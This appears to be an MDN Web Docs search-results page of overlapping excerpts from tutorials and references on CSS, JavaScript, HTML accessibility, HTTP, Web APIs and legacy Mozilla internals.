blocks next sometimes when writing css you will encounter an issue where your css doesn't seem to be doing what you expect. perhaps you believe that a certain selector should match an element, but nothing happens, or a box is a different size than you expected. this article will give you guidance on how to go about debugging a css problem, and show you how the devtools included in all modern browsers can help you to find out what is going on. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn the basics of what browser devtools are, and how to do simple inspection and editing of css. how to ...
...help you to find out what is going on. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn the basics of what browser devtools are, and how to do simple inspection and editing of css. how to access browser devtools the article what are browser developer tools is an up-to-date guide explaining how to access the tools in various browsers and platforms. while you may choose to mostly develop in a particular browser, and therefore will become most familiar with the tools included in that browser, it is worth knowing how to access them in other browsers. this will help if you are seeing different ren...
...what are browser developer tools is an up-to-date guide explaining how to access the tools in various browsers and platforms. while you may choose to mostly develop in a particular browser, and therefore will become most familiar with the tools included in that browser, it is worth knowing how to access them in other browsers. this will help if you are seeing different rendering between multiple browsers. you will also find that browsers have chosen to focus on different areas when creating their devtools. for example in firefox there are some excellent tools for working visually with css layout, allowing you to inspect and edit grid layouts, flexbox, and shapes. however, all of the different browsers have similar fundamental tools, e.g. for inspecting the properties and values applied to ele...
...And 8 more matches
Grids - Learn web development
this article will give you all you need to know to get started with page layout. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css and styling boxes.) objective: to understand the fundamental concepts behind grid layout systems, and how to implement a grid layout using css grid. ...
...d how to implement a grid layout using css grid. what is grid layout? a grid is a collection of horizontal and vertical lines creating a pattern against which we can line up our design elements. they help us to create designs where elements don’t jump around or change width as we move from page to page, providing greater consistency on our websites. a grid will typically have columns, rows, and then gaps between each row and column — commonly referred to as gutters. creating your grid in css having decided on the grid that your design needs, you can use css grid layout to create that grid in css and place items onto it. we will look at the basic features of grid layout first and then explore how to create a simple grid system for your project. the following video provides a ...
...ign needs, you can use css grid layout to create that grid in css and place items onto it. we will look at the basic features of grid layout first and then explore how to create a simple grid system for your project. the following video provides a nice visual explanation of using css grid: defining a grid as a starting point, download and open the starting point file in your text editor and browser (you can also see it live here). you will see an example with a container, which has some child items. by default these display in normal flow so the boxes display one below the other. we will be working with this file for the first part of this lesson, making changes to see how grid behaves. to define a grid we use the grid value of the display property. as with flexbox, this switches on grid...
...And 8 more matches
What is the difference between webpage, website, web server, and search engine? - Learn web development
ese terms sometimes since they refer to related but different functionalities. in fact, you'll sometimes see these terms misused in news reports and elsewhere, so getting them mixed up is understandable! we'll cover these terms and technologies in more detail as we explore further, but these quick definitions will be a great start for you: web page a document which can be displayed in a web browser such as firefox, google chrome, opera, microsoft internet explorer or edge, or apple's safari. these are also often called just "pages." website a collection of web pages which are grouped together and usually connected together in various ways. often called a "web site" or simply a "site." web server a computer that hosts a website on the internet. search engine a web service that helps ...
...led just "pages." website a collection of web pages which are grouped together and usually connected together in various ways. often called a "web site" or simply a "site." web server a computer that hosts a website on the internet. search engine a web service that helps you find other web pages, such as google, bing, yahoo, or duckduckgo. search engines are normally accessed through a web browser (e.g. you can perform search engine searches directly in the address bar of firefox, chrome, etc.) or through a web page (e.g. bing.com or duckduckgo.com). let's look at a simple analogy — a public library. this is what you would generally do when visiting a library: find a search index and look for the title of the book you want. make a note of the catalog number of the book. go to th...
...ch engine. each book has its own unique location in the library (two books cannot be kept at the same place) which is specified by the catalog number. active learning there is no active learning available yet. deeper dive so, let's dig deeper into how those four terms are related and why they are sometimes confused with each other. ...
...And 8 more matches
How to build custom form controls - Learn web development
full width. beautification so now that we have the basic functionality in place, the fun can start. the following is just an example of what is possible, and will match the screenshot at the beginning of this article. however, you should feel free to experiment and see what you can come up with. .select { /* the computations are made assuming 1em == 16px which is the default value in most browsers. if you are lost with px to em conversion, try http://riddle.pl/emcalc/ */ font-size : 0.625em; /* this (10px) is the new font size context for em value in this context */ font-family : verdana, arial, sans-serif; box-sizing : border-box; /* we need extra room for the down arrow we will add */ padding : .1em 2.5em .2em .5em; width : 10em; /* 100px */ border : .
...*/ background : #f0f0f0; background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { /* because the value can be wider than our control, we have to make sure it will not change the control's width. if the content overflows, we display an ellipsis */ display : inline-block; width : 100%; overflow : hidden; w...
...ve state open state check out the source code bringing your control to life with javascript now that our design and structure are ready, we can write the javascript code to make the control actually work. warning: the following is educational code, not production code, and should not be used as-is. ...
...And 8 more matches
JavaScript basics - Learn web development
ript is versatile and beginner-friendly. with more experience, you'll be able to create games, animated 2d and 3d graphics, comprehensive database-driven apps, and much more! javascript itself is relatively compact, yet very flexible. developers have written a variety of tools on top of the core javascript language, unlocking a vast amount of functionality with minimum effort. these include: browser application programming interfaces (apis) built into web browsers, providing functionality such as dynamically creating html and setting css styles; collecting and manipulating a video stream from a user's webcam, or generating 3d graphics and audio samples. third-party apis that allow developers to incorporate functionality in sites from other content providers, such as twitter or facebook. ...
...nd applications. it's outside the scope of this article—as a light introduction to javascript—to present the details of how the core javascript language is different from the tools listed above. you can learn more in mdn's javascript learning area, as well as in other parts of mdn. the section below introduces some aspects of the core language, and offers an opportunity to play with a few browser api features too. have fun! a hello world! example javascript is one of the most popular modern web technologies! as your javascript skills grow, your websites will enter a new dimension of power and creativity. however, getting comfortable with javascript is more challenging than getting comfortable with html and css. you may have to start small, and progress gradually. to begin, let's exam...
... this is doing the same job as the <link> element for css. it applies the javascript to the page, so it can have an effect on the html (along with the css, and anything else on the page). add this code to the main.js file: const myheading = document.queryselector('h1'); myheading.textcontent = 'hello world!'; make sure the html and javascript files are saved. then load index.html in your browser. you should see something like this: note: the reason the instructions (above) place the <script> element near the bottom of the html file is that the browser reads code in the order it appears in the file. if the javascript loads first and it is supposed to affect the html that hasn't loaded yet, there could be problems. placing javascript near the bottom of an html page is one way to acco...
...And 8 more matches
The web and web standards - Learn web development
formation management: a proposal and hypertext at cern; these two publications together provided the background for how the web would work. they received a fair amount of interest, enough to convince timbl's bosses to allow him to go ahead and create a global hypertext system. by late 1990, timbl had created all the things needed to run the first version of the web — http, html, the first web browser, which was called worldwideweb, an http server, and some web pages to look at. in the next few years that followed, the web exploded, with multiple browsers being released, thousands of web servers being set up, and millions of web pages being created. ok, that's a very simple summary of what happened, but i did promise you a brief summary. one last significant data point to share is that in ...
...s we use to build web sites. these standards exist as long technical documents called specifications, which detail exactly how the technology should work. these documents are not very useful for learning how to use the technologies they describe (this is why we have sites like mdn web docs), but instead are intended to be used by software engineers to implement these technologies (usually in web browsers). for example, the html living standard describes exactly how html (all the html elements, and their associated apis, and other surrounding technologies) should be implemented. web standards are created by standards bodies — institutions that invite groups of people from different technology companies to come together and agree on how the technologies should work in the best way to fulfill...
...e possibilities it brings. you're a digital creative now. enjoy the experience, and the potential for earning a living. overview of modern web technologies there are a number of technologies to learn if you want to be a front-end web developer. in this section we will describe them briefly. for a more detailed explanation of how some of them work together, read our article how the web works. browsers you are probably reading these words inside a web browser in this very moment (unless you've printed it out, or are using assistive technology, such as a screenreader to read it out to you). web browsers are the software programs people use to consume the web, and include firefox, chrome, opera, safari, and edge. http hypertext transfer protocol, or http, is a messaging protocol that allows...
...And 8 more matches
Tips for authoring fast-loading HTML pages - Learn web development
n "compress" javascript by reformatting the source or by obfuscating the source and replacing long identifiers with shorter versions. minimize the number of files reducing the number of files referenced in a web page lowers the number of http connections required to download a page, thereby reducing the time for these requests to be sent, and for their responses to be received. ...
... if you use background images a lot in your css, you can reduce the number of http lookups needed by combining the images into one, known as an image sprite. ...
... of inline scripts inline scripts can be expensive for page loading since the parser must assume that an inline script could modify the page structure while parsing is in progress. reducing the use of inline scripts in general, and reducing the use of document.write() to output content in particular, can improve overall page loading. ...
...And 8 more matches
Adding vector graphics to the Web - Learn web development
r seo). svgs lend themselves well to styling/scripting, because each component of the image is an element that can be styled via css or scripted via javascript. ...
...ia javascript. so why would anyone want to use raster graphics over svg? well, svg does have some disadvantages: svg can get complicated very quickly, meaning that file sizes can grow; complex svgs can also take significant processing time in the browser. svg can be harder to create than raster images, depending on what kind of image you are trying to create. svg is not supported in older browsers, so may not be suitable if you need to support older versions of internet explorer with your web site (svg started being supported as of ie9.) raster graphics are arguably better for complex precision images such as photos, for the reasons described above. note: in inkscape, save your files as plain svg to save space. also, please refer to this article describing how to prepare svgs for th...
... you have not already done so, please read images in html. <img src="equilateral.svg" alt="triangle with all three sides equal" height="87" width="100" /> pros quick, familiar image syntax with built-in text equivalent available in the alt attribute. you can make the image into a hyperlink easily by nesting the <img> inside an <a> element. the svg file can be cached by the browser, resulting in faster loading times for any page that uses the image loaded in the future. cons you cannot manipulate the image with javascript. if you want to control the svg content with css, you must include inline css styles in your svg code. (external stylesheets invoked from the svg file take no effect.) you cannot restyle the image with css pseudoclasses (like :focus). troublesho...
...And 8 more matches
Functions — reusable blocks of code - Learn web development
ery much. now is the time, however, for us to start talking about functions explicitly, and really exploring their syntax. pretty much anytime you make use of a javascript structure that features a pair of parentheses — () — and you're not using a common built-in language structure like a for loop, while or do...while loop, or if...else statement, you are making use of a function. built-in browser functions we've made use of functions built in to the browser a lot in this course. every time we manipulated a text string, for example: let mytext = 'i am a string'; let newstring = mytext.replace('string', 'sausage'); console.log(newstring); // the replace() string function takes a source string, // and a target string and replaces the source string, // with the target string, and returns ...
...e join() function takes an array, joins // all the array items together into a single // string, and returns this new string or every time we generated a random number: let mynumber = math.random(); // the random() function generates a random number between // 0 and up to but not including 1, and returns that number ...we were using a function! ...
...using a function! ...
...And 8 more matches
Manipulating documents - Learn web development
th some other interesting apis that can alter your environment in interesting ways. prerequisites: basic computer literacy, a basic understanding of html, css, and javascript — including javascript objects. objective: to gain familiarity with the core dom apis, and the other apis commonly associated with dom and document manipulation the important parts of a web browser web browsers are very complicated pieces of software with a lot of moving parts, many of which can't be controlled or manipulated by a web developer using javascript. you might think that such limitations are a bad thing, but browsers are locked down for good reasons, mostly centering around security. imagine if a web site could get access to your stored passwords or other sensitive informatio...
...d get access to your stored passwords or other sensitive information, and log into websites as if it were you? despite the limitations, web apis still give us access to a lot of functionality that enable us to do a great many things with web pages. there are a few really obvious bits you'll reference regularly in your code — consider the following diagram, which represents the main parts of a browser directly involved in viewing web pages: the window is the browser tab that a web page is loaded into; this is represented in javascript by the window object. using methods available on this object you can do things like return the window's size (see window.innerwidth and window.innerheight), manipulate the document loaded into that window, store data specific to that document on the client...
...able on this object you can do things like return the window's size (see window.innerwidth and window.innerheight), manipulate the document loaded into that window, store data specific to that document on the client-side (for example using a local database or other storage mechanism), attach an event handler to the current window, and more. the navigator represents the state and identity of the browser (i.e. the user-agent) as it exists on the web. in javascript, this is represented by the navigator object. you can use this object to retrieve things like the user's preferred language, a media stream from the user's webcam, etc. the document (represented by the dom in browsers) is the actual page loaded into the window, and is represented in javascript by the document object. you can use this...
...And 8 more matches
Useful string methods - Learn web development
operties and methods available to it. you can see this if you go to the string object page and look down the list on the side of the page! now, before your brain starts melting, don't worry! you really don't need to know about most of these early on in your learning journey. but there are a few that you'll potentially use quite often that we'll look at here. let's enter some examples into the browser developer console. finding the length of a string this is easy — you simply use the length property. try entering the following lines: let browsertype = 'mozilla'; browsertype.length; this should return the number 7, because "mozilla" is 7 characters long. this is useful for many reasons; for example, you might want to find the lengths of a series of names so you can display them in order...
...if it is over a certain length. retrieving a specific string character on a related note, you can return any character inside a string by using square bracket notation — this means you include square brackets ([]) on the end of your variable name. ...
...u want to return, so for example to retrieve the first letter you'd do this: browsertype[0]; remember: computers count from 0, not 1! you could use this to, for example, find the first letter of a series of strings and order them alphabetically. to retrieve the last character of any string, we could use the following line, combining this technique with the length property we looked at above: browsertype[browsertype.length-1]; the length of "mozilla" is 7, but because the count starts at 0, the character position is 6; using length-1 gets us the last character. finding a substring inside a string and extracting it sometimes you'll want to find if a smaller string is present inside a larger one (we generally say if a substring is present inside a string). this can be done using the index...
...And 8 more matches
Cross Process Object Wrappers
add-on code is still allowed to use cpows "unsafely". ...
... add-on code is still allowed to use cpows "unsafely". ...
... add-on code is still allowed to use cpows "unsafely". ...
...And 8 more matches
Using the Places history service
plemented the older interfaces, resulting in functionality spread across many interfaces. the places history service ("navhistory") implements these history interfaces: nsiglobalhistory2: basic add page, is visited functionality used by the docshell when visiting and rendering pages. nsiglobalhistory3: adds extra functions for dealing with redirects and hints for rendering (gecko flags). nsibrowserhistory: adds functions used by the basic browser like marking pages as typed in the url bar, and removing pages as from the history interface. nsinavhistoryservice: complex query functions, more fine-grained getters and setters. nsiautocompletesearch: url-bar autocomplete from history from 1.9.1 (firefox3.1) on, don't use any places service on (or after) quit-application has been notified, ...
...t contains a reference to the url table for the page, the visit date, the transition type (typed, click, redirect, bookmark, etc.), a reference to the referring visit, and the session id. this separation of the global page information and the visit allows us to store information about each time the page was visited instead of just the last time. using the referrer information in each visit, the browsing path can be reconstructed at any time. the "session id" allows these paths to be reconstructed more easily. when the user starts browsing (for example, by typing in a link or following a bookmark), a new session id is created. new visits get the same session id as their referrer. this means that one "session" is comprised of going to a new page, and following a bunch of links or redirects. a ...
...heir referrer. this means that one "session" is comprised of going to a new page, and following a bunch of links or redirects. a session is ended when a new url is typed in or selected from bookmarks. these session ids allow the dotted lines separating related pages in the history view to be easily computed. ...
...And 8 more matches
Observer Notifications
register with nsicategorymanager to receive this notification. prior to firefox 3.5, this was available to observers observing the app-startup/xpcom-startup notification. final-ui-startup triggered just before the first window for the application is displayed. sessionstore-windows-restored sent by the session restore process to indicate that all initial browser windows have opened. note that while the window are open and the chrome loaded the tabs in the windows may still be being restored after this notification. note: this notification is specific to firefox and seamonkey 2.0 applications application shutdown these are the topics that you can observe on shutdown, in order of appearance. topic description quit-a...
...in event loop. xpcom-shutdown assortment of critical services stop operating. many things will not be available here. web-workers-shutdown called inside xpcom-shutdown. this shuts down all web workers. xpcom-shutdown-threads shuts down the thread manager, causing all nsthreads to finish processing any events already queued and stop accepting new events. browser these topics indicate interesting things that happen that the browser alerts you to. topic description browser:purge-session-history sent when the sanitizer runs to purge all history and other information. browser:purge-domain-data sent after domain-specific history and other information have been purged. the data value is a string form of the domain. ...
...hese topics indicate interesting things that happen that the browser alerts you to. topic description browser:purge-session-history sent when the sanitizer runs to purge all history and other information. browser:purge-domain-data sent after domain-specific history and other information have been purged. the data value is a string form of the domain. browser-lastwindow-close-requested sent when the browser wishes to close the last open browser window. when this is sent, it is possible that other windows may still be open, such as the download manager or preferences. the data value is an nsisupportsprbool. recipients may set this to true to abort the close. ...
...And 8 more matches
nsINavBookmarksService
the bookmarksservice interface provides methods for managing bookmarked history items. bookmarks consist of a set of user-customizable folders. a uri in history can be contained in one or more such folders. ...
...er-customizable folders. a uri in history can be contained in one or more such folders. 1.0 67 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) implemented by: @mozilla.org/browser/nav-bookmarks-service;1. ...
... in nsiuri olduri, obsolete since gecko 1.9 in long long aitemid, in nsiuri anewuri ); parameters olduri obsolete since gecko 1.9 the uri of the item to be changed. aitemid the item whose bookmark uri needs to be changed. anewuri the new uri. obsolete since gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this method creates a dynamic container under the given parent folder. long long createdynamiccontainer( in long long aparentfolder, in autf8string aname, in astring acontractid, in long aindex ); parameters aparentfolder the id of the parent folder. aname the name of the new folder. acontr...
...And 8 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
in the computing world. a vast number of the most popular applications are based at least in part on javascript code. to support this, it was necessary to find ways to allow for projects to escape the limitations of a single-threaded language. starting with the addition of timeouts and intervals as part of the web api (settimeout() and setinterval()), the javascript environment provided by web browsers has gradually advanced to include powerful features that enable scheduling of tasks, multi-threaded application development, and so forth. to understand where queuemicrotask() comes into play here, it's helpful to understand how the javascript runtime operates when scheduling and running code. javascript execution contexts note: the details here are generally not important to most javascrip...
...reate the new context. run, javascript, run to run javascript code, the runtime engine maintains a set of agents in which to execute javascript code. each agent is made up of a set of execution contexts, the execution context stack, a main thread, a set for any additional threads that may be created to handle workers, a task queue, and a microtask queue. other than the main thread—which some browsers share across multiple agents—each component of an agent is unique to that agent. here we look at how the runtime functions in slightly more detail. event loops each agent is driven by an event loop, which collects any user and other events, enqueuing tasks to handle each callback. it then runs any pending javascript tasks, then any pending microtasks, then performs any needed rendering...
...nt is driven by an event loop, which collects any user and other events, enqueuing tasks to handle each callback. it then runs any pending javascript tasks, then any pending microtasks, then performs any needed rendering and painting before looping again to check for pending tasks. ...
...And 8 more matches
KeyboardEvent: code values - Web APIs
these tables show those variations when known. code values code values on windows this table shows the windows scan codes representing keys and the keyboardevent.code values which correspond to those hardware keys. only keys which generate scan codes on windows are listed. ...
...xe02c "unidentified" "eject" 0xe02d "unidentified" "" 0xe02e "audiovolumedown" "volumedown" (was "volumedown" until chrome 50) 0xe02f "unidentified" "" 0xe030 "audiovolumeup" "volumeup" (was "volumeup" until chrome 50) 0xe031 "unidentified" "" 0xe032 "browserhome" "browserhome" 0xe033, 0xe034 "unidentified" "" 0xe035 "numpaddivide" "numpaddivide" 0xe036 "unidentified" "" 0xe037 "printscreen" "printscreen" 0xe038 "altright" "altright" 0xe039, 0xe03a "unidentified" "" 0xe03b "unidentified" "help" 0xe0...
... 0xe052 "insert" "insert" 0xe053 "delete" "delete" 0xe054 ~ 0xe05a "unidentified" "" 0xe05b "metaleft" "osleft" 0xe05c "metaright" "osright" 0xe05d "contextmenu" "contextmenu" 0xe05e "power" "" 0xe05f ~ 0xe064 "unidentified" "" 0xe065 "browsersearch" "browsersearch" 0xe066 "browserfavorites" "browserfavorites" 0xe067 "browserrefresh" "browserrefresh" 0xe068 "browserstop" "browserstop" 0xe069 "browserforward" "browserforward" 0xe06a "browserback" "browserback" 0xe06b "launchapp1" "" 0xe06c "launchmail" "" 0xe06d "lau...
...And 8 more matches
Web Authentication API - Web APIs
with an existing account. navigator.credentials.get() - when used with the publickey option, uses an existing set of credentials to authenticate to a service, either logging a user in or as a form of second-factor authentication. please note: both create() and get() require a secure context (e.g. - the server is connected by https or is the localhost), and will not be available for use if the browser is not operating in a secure context. in their most basic forms, both create() and get() receive a very large random number called a challenge from the server and they return the challenge signed by the private key back to the server. this proves to the server that a user is in possession of the private key required for authentication without revealing any secrets over the network. in order t...
... they return the challenge signed by the private key back to the server. this proves to the server that a user is in possession of the private key required for authentication without revealing any secrets over the network. in order to understand how the create() and get() methods fit into the bigger picture, it is important to understand that they sit between two components that are outside the browser: server - the web authentication api is intended to register new credentials on a server (also referred to as a service or a relying party) and later use those same credentials on that same server to authenticate a user. authenticator - the credentials are created and stored in a device called an authenticator. this is a new concept in authentication: when authenticating using passwords, th...
...ound in the publickeycredential interface (where publickeycredential.response is the authenticatorattestationresponse interface). note most javascript programmers that are creating an application will only really care about steps 1 and 5 where the create() function is called and subsequently returns; however, steps 2, 3, and 4 are essential to understanding the processing that takes place in the browser and authenticator and what the resulting data means. figure 1 - a diagram showing the sequence of actions for a web authentication registration and the essential data associated with each action. the registration steps are: application requests registration - the application makes the initial registration request. the protocol and format of this request is outside of the scope of the web...
...And 8 more matches
ARIA Test Cases - Accessibility
introduction the information on this page is out of date: it was last updated november 2010. however, the information might still be useful for some readers. for more up-to-date examples, see the openajaxalliance aria examples page. ...
...te: it was last updated november 2010. however, the information might still be useful for some readers. for more up-to-date examples, see the openajaxalliance aria examples page. or copy-paste: http://oaa-accessibility.org/examples/ for each example we test the "expected" results with assistive technologies, for each browser that at supports wai-aria in. where a failure occurs we will test the browser for api incorrectness, using tools such as msaa inspect. ...
...xamples, see the openajaxalliance aria examples page. or copy-paste: http://oaa-accessibility.org/examples/ for each example we test the "expected" results with assistive technologies, for each browser that at supports wai-aria in. where a failure occurs we will test the browser for api incorrectness, using tools such as msaa inspect. this must be done in order to determine where to file a bug (browser or at). there are several purposes for providing this information: help browser vendors provide correct implementations help at vendors provide correct implementations inform authors as to what actually works reliably in general we're testing with the latest public releases. however, where things don't work we may test with nightly builds if they are available, in order to show what is ...
...And 8 more matches
ARIA: row role - Accessibility
w within a grid, table or treegrid, and optionally within a rowgroup, that is a container for one or more cells, gridcells, columnheaders, or rowheaders within a static tabular structure. using native html <tr> elements, whenever possible, is strongly encouraged. to create an aria row, add role="row" to the container element. that row should be nested within a grid, table or treegrid. a group of rows can be nested within a grid, table or treegrid directly, or within a rowgroup in one of those containers. each row contains child cells. these cells can be of different types, depending on whether they are column or row headers, or grid or regular cells. a row can contain a number of attributes clarifying the row's role, including aria-colindex, aria-level, aria-rowindex, and aria-selected. if ...
...table or treegrid directly, or within a rowgroup in one of those containers. each row contains child cells. these cells can be of different types, depending on whether they are column or row headers, or grid or regular cells. a row can contain a number of attributes clarifying the row's role, including aria-colindex, aria-level, aria-rowindex, and aria-selected. if the row is within a treegrid, rows can include the aria-expanded attribute, using the attribute to indicate the present status. this is not the case for an ordinary table or grid, in which the aria-expanded attribute is not present. to create an interactive widget that has a tabular structure, use the grid pattern instead. if the interaction provides for the selection state of individual cells, if left to right and top to botton ...
... changing individual cell order such as through drag and drop, use grid or treegrid instead. note: using the native html table element (<table>) along with the table row element (<tr>) whenever possible is strongly encouraged. associated wai-aria roles, states, and properties context roles role="rowgroup" an optional contextual row parent, it establishes a relationship between descendant rows. it is a structural equivalent to the thead, tfoot, and tbody elements in an html table element. role="table" one of the three possible contexts (along with grid and treegrid) in which you'll find a row, it identifies the row as being part of a non-interactive table structure containing data arranged in rows and columns, similar to the native <table> html element. role="grid" one of the thre...
...And 8 more matches
Box alignment in CSS Grid Layout - CSS: Cascading Style Sheets
same standard flexbox uses for aligning items in its flex container. this specification details how alignment should work in all the different layout methods. layout methods will conform to the specification where possible and implement individual behavior based on their differences (features and constraints). while the specification currently specifies alignment details for all layout methods, browsers have not fully implemented all of the specification; however, the css grid layout method has been widely adopted. this guide presents demonstrations of how box alignment in grid layout works. you will see many similarities in how these properties and values work in flexbox. due to grid being two-dimensional and flexbox one-dimensional there are some small differences that you should watch out...
...seline last baseline * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; grid-auto-rows: 100px; grid-template-areas: "a a a a b b b b" "a a a a b b b b" "c c c c d d d d" "c c c c d d d d"; align-items: start; } .item1 { grid-area: a; } .item2 { grid-area: b; } .item3 { grid-area: c; } .item4 { grid-area: d; } <div class="wrapper"> <div class="item1">item 1</div> <div class="item2">item 2</div> <div class="item3">item 3</div> <div class="item4">...
...and the fourth center. ...
...And 8 more matches
<input type="email"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › email
eractive-examples and send us a pull request. the input value is automatically validated to ensure that it's either empty or a properly-formatted e-mail address (or list of addresses) before the form can be submitted. the :valid and :invalid css pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid e-mail address or not. on browsers that don't support inputs of type email, a email input falls back to being a standard text input. value a domstring representing an e-mail address, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, multiple, name,pattern, placeholder, readonly, required, size, and type idl attributes list and ...
...ag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii. no forward slashes should be specified around the pattern text. if the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. tip: use the title attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. you should also include other explanatory text nearby. see the section pattern validation for details and an example. placeholder the placeholder attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. it should be a word or short phrase that de...
... is properly formatted to be an e-mail address. note: it's also crucial to remember that a user can tinker with your html behind the scenes, so your site must not use this validation for any security purposes. you must verify the e-mail address on the server side of any transaction in which the provided text may have any security implications of any kind. a simple email input currently, all browsers which implement this element implement it as a standard text input field with basic validation features. the specification does, however, allow browsers latitude on this. for example, the element could be integrated with the user's device's built-in address book to allow picking e-mail addresses from that list. in its most basic form, an email input can be implemented like this: <input id="em...
...And 8 more matches
An overview of HTTP - HTTP
Web › HTTP › Overview
http is a protocol which allows the fetching of resources, such as html documents. it is the foundation of any data exchange on the web and it is a client-server protocol, which means requests are initiated by the recipient, usually the web browser. a complete document is reconstructed from the different sub-documents fetched, for instance text, layout description, images, videos, scripts, and more. clients and servers communicate by exchanging individual messages (as opposed to a stream of data). the messages sent by the client, usually a web browser, are called requests and the messages sent by the server as an answer are called responses. designed in the early 1990s, http is an extensible protocol which has evolved over time. it is an application layer protocol that is sent over tcp, o...
...sed to not only fetch hypertext documents, but also images and videos or to post content to servers, like with html form results. http can also be used to fetch parts of documents to update web pages on demand. components of http-based systems http is a client-server protocol: requests are sent by one entity, the user-agent (or a proxy on behalf of it). most of the time the user-agent is a web browser, but it can be anything, for example a robot that crawls the web to populate and maintain a search engine index. each individual request is sent to a server, which handles it and provides an answer, called the response. between the client and the server there are numerous entities, collectively called proxies, which perform different operations and act as gateways or caches, for example. in...
...t that crawls the web to populate and maintain a search engine index. each individual request is sent to a server, which handles it and provides an answer, called the response. between the client and the server there are numerous entities, collectively called proxies, which perform different operations and act as gateways or caches, for example. in reality, there are more computers between a browser and the server handling the request: there are routers, modems, and more. thanks to the layered design of the web, these are hidden in the network and transport layers. http is on top, at the application layer. although important to diagnose network problems, the underlying layers are mostly irrelevant to the description of http. client: the user-agent the user-agent is any tool that acts on ...
...And 8 more matches
Critical rendering path - Web Performance
layout determines the size and location of everything on the page. once layout is determined, pixels are painted to the screen. ...
...g the critical render path improves render performance.the critical rendering path includes the document object model (dom), css object model (cssom), render tree and layout. the document object model is created as the html is parsed. the html may request javascript, which may, in turn, alter the dom. the html includes or makes requests for styles, which in turn builds the css object model. the browser engine combines the two to create the render tree. layout determines the size and location of everything on the page. once layout is determined, pixels are painted to the screen. optimizing the critical rendering path improves the time to first render. understanding and optimizing the critical rendering path is important to ensure reflows and repaints can happen at 60 frames per second, to ens...
...eflows and repaints can happen at 60 frames per second, to ensure performant user interactions and avoid jank. understanding crp web performance includes the server requests and responses, loading, scripting, rendering, layout, and the painting of the pixels to the screen. a request for a web page or app starts with an html request. the server returns the html - response headers and data. ...
...And 8 more matches
findbar - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] in gecko 1.9, the findbar widget moved into toolkit, so it's available to any xul application, as well as extensions. ...
... « xul reference home [ examples | attributes | properties | methods | related ] in gecko 1.9, the findbar widget moved into toolkit, so it's available to any xul application, as well as extensions. ...
...ce home [ examples | attributes | properties | methods | related ] in gecko 1.9, the findbar widget moved into toolkit, so it's available to any xul application, as well as extensions. ...
...And 7 more matches
Archived Mozilla and build documentation - Archive of obsolete content
alifiletype interface provides information about a specific file type. chromeless [this project may not be active — check github https://github.com/mozilla/chromeless] creating a firefox sidebar extension this article describes how to create a registered sidebar for firefox 2 or greater. see the references section for information on creating extension in earlier browsers. creating a hybrid cd creating a microsummary a microsummary generator is a set of instructions for creating a microsummary from the content of a page. web pages can reference generators via <link rel="microsummary"> elements in their <head> elements. generators can also be independently downloaded and installed by users if they include a lis...
...osummary from the content of a page. web pages can reference generators via <link rel="microsummary"> elements in their <head> elements. generators can also be independently downloaded and installed by users if they include a list of pages to which they apply. creating a mozilla extension a mozilla extension is an installable enhancement to the mozilla browser that provides additional functionality (for example linky, which adds an item to the context menu for opening multiple links in a document or selection). this tutorial walks you through the process of building a mozilla extension that adds an icon to mozilla's status bar showing the current status of the mozilla source code (i.e. whether or not the latest version of the code i...
...m generators for their favorite sites -- obtain a reference to the nsimicrosummaryservice interface implemented by the nsimicrosummaryservice component, then call its installgenerator() method, passing it an xml document containing the generator. migrate apps from internet explorer to mozilla when netscape started the mozilla browser, it made the conscious decision to support w3c standards. as a result, mozilla is not fully backwards-compatible with netscape navigator 4.x and microsoft internet explorer legacy code; for example, mozilla does not support <layer> as i will discuss later. browsers, like internet explorer 4, that were built before the conception of w3c standards inherited many quirks. in this article, ...
...And 7 more matches
HTML: A good basis for accessibility - Learn web development
screen readers can guess the difference between table layouts and data tables). you'll then likely (depending on which screen reader you're using) have to go down into the table as an object and look at its features separately, then get out of the table again to carry on navigating the content. table layouts are a relic of the past — they made sense back when css support was not widespread in browsers, but now they just create confusion for screen reader users. additionally, their source code requires more markup, which makes them less flexible and more difficult to maintain. you can verify these claims by comparing your previous experience with a more modern website structure example, which could look something like this: <header> <h1>header</h1> </header> <nav> <!-- main navigation ...
... controls, we mean the main parts of web documents that users interact with — most commonly buttons, links, and form controls. in this section, we'll look at the basic accessibility concerns to be aware of when creating such controls. later articles on wai-aria and multimedia will look at other aspects of ui accessibility. ...
... you can then press enter/return to follow a focused link or press a button (we've included some javascript to make the buttons alert a message), or start typing to enter text in a text input. ...
...And 7 more matches
HTML: A good basis for accessibility - Learn web development
screen readers can guess the difference between table layouts and data tables). you'll then likely (depending on which screen reader you're using) have to go down into the table as an object and look at its features separately, then get out of the table again to carry on navigating the content. table layouts are a relic of the past — they made sense back when css support was not widespread in browsers, but now they just create confusion for screen reader users. additionally, their source code requires more markup, which makes them less flexible and more difficult to maintain. you can verify these claims by comparing your previous experience with a more modern website structure example, which could look something like this: <header> <h1>header</h1> </header> <nav> <!-- main navigation ...
... controls, we mean the main parts of web documents that users interact with — most commonly buttons, links, and form controls. in this section, we'll look at the basic accessibility concerns to be aware of when creating such controls. later articles on wai-aria and multimedia will look at other aspects of ui accessibility. ...
